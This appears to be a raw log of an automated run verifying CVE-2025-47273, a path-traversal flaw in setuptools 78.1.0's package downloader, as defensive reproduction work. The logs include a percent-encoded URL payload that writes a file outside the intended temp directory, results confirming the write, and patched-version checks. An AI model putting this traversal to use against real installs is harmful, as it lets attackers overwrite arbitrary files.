CVE-2025-47273: Verified Repro With Script Download

Installed vulnerable setuptools==78.1.0

Traceback (most recent call last):
  File "<stdin>", line 2, in <module>
ModuleNotFoundError: No module named 'setuptools.package_index'

poc.py
reproduction_steps.sh
setuptools-78.1.0-py3-none-any.whl
venv

{"cwd":"/root/.pruva/runs/ghsa-5rjg-fvgr-3xxf_20260106-231622","duration_ms":97,"exit_code":0,"stderr":"","stdout":"FOUND setuptools/package_index.py\n\"\"\"PyPI and direct package downloading.\"\"\"\n\nfrom __future__ import annotations\n\nimport base64\nimport configparser\nimport hashlib\nimport html\nimport http.client\nimport io\nimport itertools\nimport os\nimport re\nimport shutil\nimport socket\nimport subprocess\nimport sys\nimport urllib.error\nimport urllib.parse\nimport urllib.request\nfrom fnmatch import translate\nfrom functools import wraps\nfrom typing import NamedTuple\n\nfrom more_itertools import unique_everseen\n\nimport setuptools\nfrom pkg_resources import (\n    BINARY_DIST,\n    CHECKOUT_DIST,\n    DEVELOP_DIST,\n    EGG_DIST,\n    SOURCE_DIST,\n    Distribution,\n    Environment,\n    Requirement,\n    find_distributions,\n    normalize_path,\n    parse_version,\n    safe_name,\n    safe_version,\n    to_filename,\n)\nfrom setuptools.wheel import Wheel\n\nfrom .unicode_utils import _cfg_read_utf8_with_fallback, _read_utf8_with_fallback\n\nfrom distutils import log\nfrom distutils.errors import DistutilsError\n\nEGG_FRAGMENT = re.compile(r'^egg=([-A-Za-z0-9_… [truncated]

1137
28458
client.HTTPException, OSError) as v:
            if warning:
                self.warn(warning, v)
            else:
                raise DistutilsError(f"Download error for {url}: {v}") from v

Installed vulnerable setuptools==78.1.0

Installed vulnerable setuptools==78.1.0
{"setuptools_version": "78.1.0", "url": "http://127.0.0.1:25041/%2Ftmp%2Fsetuptools_pwned.txt", "tmpdir": "/tmp/setuptools_tmpdl", "expected_basis": "/tmp/setuptools_pwned.txt", "expected_abs_target": "/tmp/setuptools_pwned.txt", "expected_tmp_target": null, "downloaded_to": "/tmp/setuptools_pwned.txt", "abs_file_exists": true, "abs_file_content_matches": true, "tmp_file_exists": false, "tmp_file_content_matches": false, "exception": null}

sed: can't read /root/.pruva/runs/ghsa-5rjg-fvgr-3xxf_20260106-231622/bundle/logs/result.json: No such file or directory

Installed vulnerable setuptools==78.1.0

Installed vulnerable setuptools==78.1.0
EXIT:0
--- result.json
--- poc_vulnerable.jsonl
{"setuptools_version": "78.1.0", "url": "http://127.0.0.1:64713/%2Ftmp%2Fsetuptools_pwned.txt", "tmpdir": "/tmp/setuptools_tmpdl", "expected_basis": "/tmp/setuptools_pwned.txt", "expected_abs_target": "/tmp/setuptools_pwned.txt", "expected_tmp_target": null, "downloaded_to": "/tmp/setuptools_pwned.txt", "abs_file_exists": true, "abs_file_content_matches": true, "tmp_file_exists": false, "tmp_file_content_matches": false, "exception": null}
--- poc_patched.jsonl

Installed vulnerable setuptools==78.1.0
EXIT:1
--- result.json

{"cwd":"/root/.pruva/runs/ghsa-5rjg-fvgr-3xxf_20260106-231622","duration_ms":18134,"exit_code":0,"stderr":"","stdout":"Installed vulnerable setuptools==78.1.0\nReproduction SUCCEEDED\nEXIT:0\n--- result.json\n{\"vuln_version\": \"78.1.0\", \"reproduced\": true, \"abs_target\": \"/tmp/setuptools_pwned.txt\", \"downloaded_to\": \"/tmp/setuptools_pwned.txt\", \"patched_attempts\": 10, \"patched_versions\": [\"unknown\"], \"patched_all_blocked\": true}\nReproduction SUCCEEDED\n--- patched.jsonl\n{\"error\": \"import_failed: No module named 'setuptools.package_index'\"}\n{\"error\": \"import_failed: No module named 'setuptools.package_index'\"}\n{\"error\": \"import_failed: No module named 'setuptools.package_index'\"}\n{\"error\": \"import_failed: No module named 'setuptools.package_index'\"}\n{\"error\": \"import_failed: No module named 'setuptools.package_index'\"}\n{\"error\": \"import_failed: No module named 'setuptools.package_index'\"}\n{\"error\": \"import_failed: No module named 'setuptools.package_index'\"}\n{\"error\": \"import_failed: No module named 'setuptools.package_index'\"}\n{\"error\": \"import_failed: No module named 'setuptools.package_index'\"}\n{\"error\": \"impor… [truncated]

RCAsize 4467
Logs: ['result.json', 'poc_patched.jsonl', 'poc_vulnerable.jsonl', 'poc_vulnerable.log', 'pip_install.log', 'poc_patched.log']
{"vuln_version": "78.1.0", "reproduced": true, "abs_target": "/tmp/setuptools_pwned.txt", "downloaded_to": "/tmp/setuptools_pwned.txt", "patched_attempts": 10, "patched_versions": ["unknown"], "patched_all_blocked": true}
Reproduction SUCCEEDED

bash: line 1: /root/.pruva/runs/ghsa-5rjg-fvgr-3xxf_20260106-231622/bundle/reproduction_steps.sh: Permission denied

Installed vulnerable setuptools==78.1.0
Reproduction SUCCEEDED
RUN2 EXIT:0
Installed vulnerable setuptools==78.1.0
Reproduction SUCCEEDED
RUN3 EXIT:0
{"vuln_version": "78.1.0", "reproduced": true, "abs_target": "/tmp/setuptools_pwned.txt", "downloaded_to": "/tmp/setuptools_pwned.txt", "patched_attempts": 10, "patched_versions": ["unknown"], "patched_all_blocked": true}
Reproduction SUCCEEDED

{"cwd":"/root/.pruva/runs/ghsa-5rjg-fvgr-3xxf_20260106-231622","duration_ms":104,"exit_code":0,"stderr":"","stdout":"--- reproduction_steps.sh ---\n#!/usr/bin/env bash\nset -euo pipefail\n# Wrapper that invokes the full reproduction in bundle/repro/reproduction_steps.sh\nSCRIPT_DIR=\"$(dirname \"$(readlink -f \"$0\")\")\"\nTARGET=\"$SCRIPT_DIR/repro/reproduction_steps.sh\"\nif [[ ! -x \"$TARGET\" ]]; then\n  echo \"Missing target script: $TARGET\" >&2\n  exit 1\nfi\nexec \"$TARGET\" \"$@\"\n\n--- repro/reproduction_steps.sh ---\n#!/usr/bin/env bash\nset -euo pipefail\n\n# Absolute paths only\nBASE_DIR=\"/root/.pruva/runs/ghsa-5rjg-fvgr-3xxf_20260106-231622/bundle\"\nREPRO_DIR=\"$BASE_DIR/repro\"\nLOG_DIR=\"$BASE_DIR/logs\"\nVENV_DIR=\"$REPRO_DIR/venv\"\nPIP_LOG=\"$LOG_DIR/pip_install.log\"\nPOC_LOG_VULN=\"$LOG_DIR/poc_vulnerable.log\"\nPOC_LOG_PATCHED=\"$LOG_DIR/poc_patched.log\"\nRESULT_JSON=\"$LOG_DIR/result.json\"\nATTEMPTS_FILE=\"$REPRO_DIR/attempts.txt\"\n\nmkdir -p \"$REPRO_DIR\" \"$LOG_DIR\"\nchmod 700 \"$REPRO_DIR\" \"$LOG_DIR\"\n\nPYTHON_BIN=\"$(command -v python3 || true)\"\nif [[ -z \"${PYTHON_BIN}\" ]]; then\n  echo \"python3 not found\" | tee -a \"$RESULT_JSON\"\n  exi… [truncated]